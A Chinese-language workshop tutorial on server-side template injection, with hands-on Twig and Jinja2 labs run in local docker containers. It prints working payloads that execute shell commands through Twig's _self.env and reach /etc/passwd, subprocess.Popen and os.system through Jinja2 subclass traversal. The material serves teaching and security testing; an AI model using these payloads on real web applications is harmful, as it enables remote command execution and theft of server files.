详解模板注入漏洞(上)
作者 | 原作者gosecure,翻译整理shan66
1.简介
所谓模板注入,又称服务器端模板注入(SSTI),是2015年出现的一类安全漏洞。James Kettle在2015年黑帽大会上进行的演讲,为多个模板引擎的漏洞利用技术奠定了坚实的基础。要想利用这类安全漏洞,需要对相关的模板库或相关的语言有一定程度的了解。
首先,本文将对模板注入漏洞进行相应的介绍,帮读者深入了解各种攻击模式,以更好地识别潜在的漏洞。然后,我们将考察5种不同的模板引擎,并且这些模版各有特色。其中,对于每个模板引擎,我们都会提供一个练习,其中含有已“暴露”模板引擎的Web应用程序。
所需软件
在软件方面,唯一的要求是安装相应的HTTP拦截代理。
Burp Suite OWASP ZAP
如果你只安装了Web浏览器的话,将无法完成本文描述的实验。但是,这并不妨碍您继续阅读下面的内容。
运行应用程序
为了完成这个练习,您需要自己运行实验中的应用程序。并且,为了便于部署,所有应用程序都可以提供docker容器获取。
下载代码。
$ git clone https://github.com/GoSecure/template-injection-workshop
阅读构建说明(详见%application_dir%/README.md),注意,对于不同的应用程序,这一步回有所不同。 使用docker-compose启动应用程序。
$ docker-compose up
配置DNS(可选)
为了使相关的链接可以正常使用,您可以在本地主机文件(/etc/hosts或C:\Windows/system32\drivers\etc\hosts)中添加如下所示的一行内容:
127.0.0.1template-injection.gosec.co
相关视频
您可以通过视频观看完整的研讨会。通过视频,您可以聆听所有的讲解,并观看所有练习的演示过程。为此,您可以在新窗口中打开相应的YouTube页面,来查看各章节的内容。
2. 模板注入
借助于模板引擎,开发人员就可以在应用程序中使用静态模板文件了。在运行时,模板引擎会用实际值替换模板文件中的相关变量,并将模板转化为HTML文件发送给客户端。这种方法使设计HTML页面变得更加轻松。
虽然模板是静态部署的,但高度可配置服务(SaaS)的出现使得一些模板库可以直接“暴露”在互联网上。这些看似非常有限的模版库其实比许多开发者想象的要强大得多。
知乎砍出正义一刀,PDD祭出终极防御:“供应商员工”!轻松化解攻势!
数据绑定示例
在模板中,开发人员需要为动态值定义静态内容和占位符。在运行时,模板将交由引擎处理,以映射模板中的动态值引用。
Hello {{firstName}} {{lastName}}!
简单模板示例
模板是通常以脚本的形式提供,它的作用不仅仅是简单的数据绑定。因为数据结构可能很复杂(比如列表和嵌套对象),所以,模板通常会提供一些类似于编程的功能。例如,模板引擎可能会允许访问对象的相关字段,具体如下所示:
Hello {{user.firstName}} {{user.lastName}}!
嵌套属性示例
像上面这样的嵌套属性并不会直接交由语言进行处理,相反,而是由引擎来解析占位符内的动态值user.firstName。引擎将直接调用方法或字段firstname。这种语法通常简单紧凑,以便于使用。同时,由于这些语法通常非常强大,以至于可以脱离简单数据绑定的上下文。
突破常规思维
为了滥用模板引擎,攻击者需要充分利用模板引擎所提供的各种功能。
如果引擎允许访问字段,就可以访问我们感兴趣的内部数据结构。进一步,这些内部数据结构可能具有我们想覆盖的状态。因此,它们可能会暴露出强大的类型。
如果引擎允许函数调用,那么,我们的目标就是读取文件、执行命令或访问应用程序的内部状态的函数。
实际上,后面的六个练习就是演示如何通过各种技术来达到上述目的的。
3. 识别模板引擎
目前,已经存在大量的模板库。实际上,我们可以在每种编程语言中找到几十个库。在实践中,如果我们把自己限制在最流行的库中,当我们知道使用的语言时,我们可以将注意力集中在2到3个潜在的库上面。
C#(StringTemplate,Sharepoint上动态使用的ASPX)。
Java(Velocity、Freemarker、Pebble、Thymeleaf和Jinjava)
PHP(Twig、Smarty、Dwoo、Volt、Blade、Plates、Mustache、Python、Jinja2、Tornado、mustache和String Template)。
Go (text/template)
启发式方法
与其盲目地测试每一个已知的payload,不如以某种程度的置信度来确认所使用的技术。另外,最终的payload可能需要进行一些调整,以符合特定的运行时环境的要求。
下面是James Kettles提出的决策树,可以用来识别所使用的模板。这个决策树是由简单的评估组成的,其中的表达式无法适用于每一种技术。由于这些都是非常基本的表达式,所以当一个模版库的新版本发布时,这些表达式也不会很快变得过时。当然,相关的方法名和高级语法可能会随着时间的推移而发生变化。
图1 决策树
4. LAB 1:Twig (PHP)
简介
Twig可能是PHP最流行的模板库,它是由Synfony(一个非常流行的PHP框架)的创建者开发的。在我们的练习中,我们还将用到Craft CMS,它是一个内部使用Twig的内容管理系统。
模板语法基础知识
Twig语法不仅简单,而且非常紧凑。下面是几个基本的变量绑定的例子。
Hello {{ var }}
Hello {{ var|escape }}
变量绑定示例
参考资料:Twig官方文档
攻击面
对于Twig来说,其变量_self暴露了Twig内部的许多API。下面是一个恶意的payload,可以用来攻击registerUndefinedFilterCallback函数。在下面的有效载荷中,命令id被执行后,将返回当前用户的id(Linux)。
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
命令执行示例
练习
为了完成本练习,请连接到相应的Web服务器:http://template-injection.gosec.co:8012/。
它将提供一个非常简单的表单,其中只有一个字段。
在这个表单中,您可以提交一个简单的表达式来确认模板是否用于显示值。下面的表达式将进行减法运算。
{{1338-1}}
上面减法运算的结果,应该显示为1337
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
执行id命令
id命令的结果应该是:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
您能访问服务器上的flag.txt文件吗?
5. LAB 2:Jinja2(Python)
简介
Jinja是Python中一个流行的模板引擎,它与Django模板非常相似。不过,与Django模板相比,Jinsa可以轻松地在运行时动态使用。Django模板被设计为存储在静态文件中的动态视图。
模板语法基础知识
下面是几个简单的表达式,用于演示Jinja的基本语法。
//String
{{ message }}
//Accessing an attribute
{{ foo.bar }}
//Accessing an attribute (alternative)
{{ foo['bar'] }}
基本的变量绑定
参考文献:Jinja官方文档
攻击面
实际上,Python元数据属性可以从任何Python对象中读取。此外,方法调用也不会被过滤。不过,获取诸如命令执行等强大的操作权限可并不简单。
Jinja漏洞利用的基础知识
我们可以通过元属性__class__来访问类。
{{''.__class__}}
<type 'str'>
从任何类中,我们都可以获得Method Resolution Order(MRO)对象。MRO对象包含当前类型的类层次结构。
{{''.__class__.__mro__}}
<type 'str'>, <type 'basestring'>, <type 'object'>
通过之前找到的类型对象,我们可以列出其所有子类。实际上,这相当于枚举了当前上下文中加载的所有类。不过,到底有哪些可用的类,这完全取决于应用程序的导入操作。在Jinja2中,导入操作是不容易触发的。
{{''.__class__.__mro__[2].__subclasses__()}}
<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'> [...]
我们可以从上面的列表中挑选任何类型,并调用这些类型的方法。对象子类列表中索引40对应的元素是({{”.class.mro[2].subclasses()[40])。我们可以使用该类型来读取任意文件。
{{''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd","r").read()}}
//The previous extension is analog to
file("/etc/passwd","r").read()
上面的payload仅适用于Python 2.7。
参考资料:
Exploring SSTI in Flask/Jinja2 – Part 2
Cheatsheet – Flask & Jinja2 SSTI
使用subprocess.Popen
在这里,我们需要努力寻找的一个强大类型是subprocess.Popen。
在Python 3.8中,它的索引可能是245。当然,这个索引值会根据加载的模块的不同而有所变化。
{{[].__class__.__mro__[1].__subclasses__()[396]}}
<class 'subprocess.Popen'>
在Python 2.7中,它的索引可能是245。
{{[].__class__.__mro__[1].__subclasses__()[245]}}
<class 'subprocess.Popen'>
执行指令:
{{[].__class__.__mro__[1].__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
Os模块(Python 2.7)
除了上面介绍的类型之外,还有一种类型也有可能被攻击者所利用。它缓存了所有可用的python模块,其中,我们可以找到os模块。
WARNINGS_INSTANCE.__init__.func_globals['linecache'].__dict__.values()[12]
<module 'os' from '/usr/lib/python2.7/os.pyc'>
将这个有趣的模式应用于Jinja模板,我们就能得到如下所示的payload。
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd')}}
这里有一个two-step的payload:先执行一个命令并将命令输出临时存储在temp文件夹中,然后,再使用另一个Jinja表达式来读取命令输出。
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('id > /tmp/cmd') }}{{''.__class__.__mro__[2].__subclasses__()[40]("/tmp/cmd","r").read() }}
这些payload仅适用于Python 2.7。
练习
为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。
首先,您必须检测在模板中放置了哪个HTTP参数。为此,您可以借助于简单的算术表达式。
使用以上方法可以充分利用这个漏洞。
您可以访问服务器上的flag.txt文件了吗?
小结
在本文中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及两种模版引擎相关的注入漏洞。在接下来的文章中,我们将继续为读者介绍其他四种模版相关的注入漏洞。
往期推荐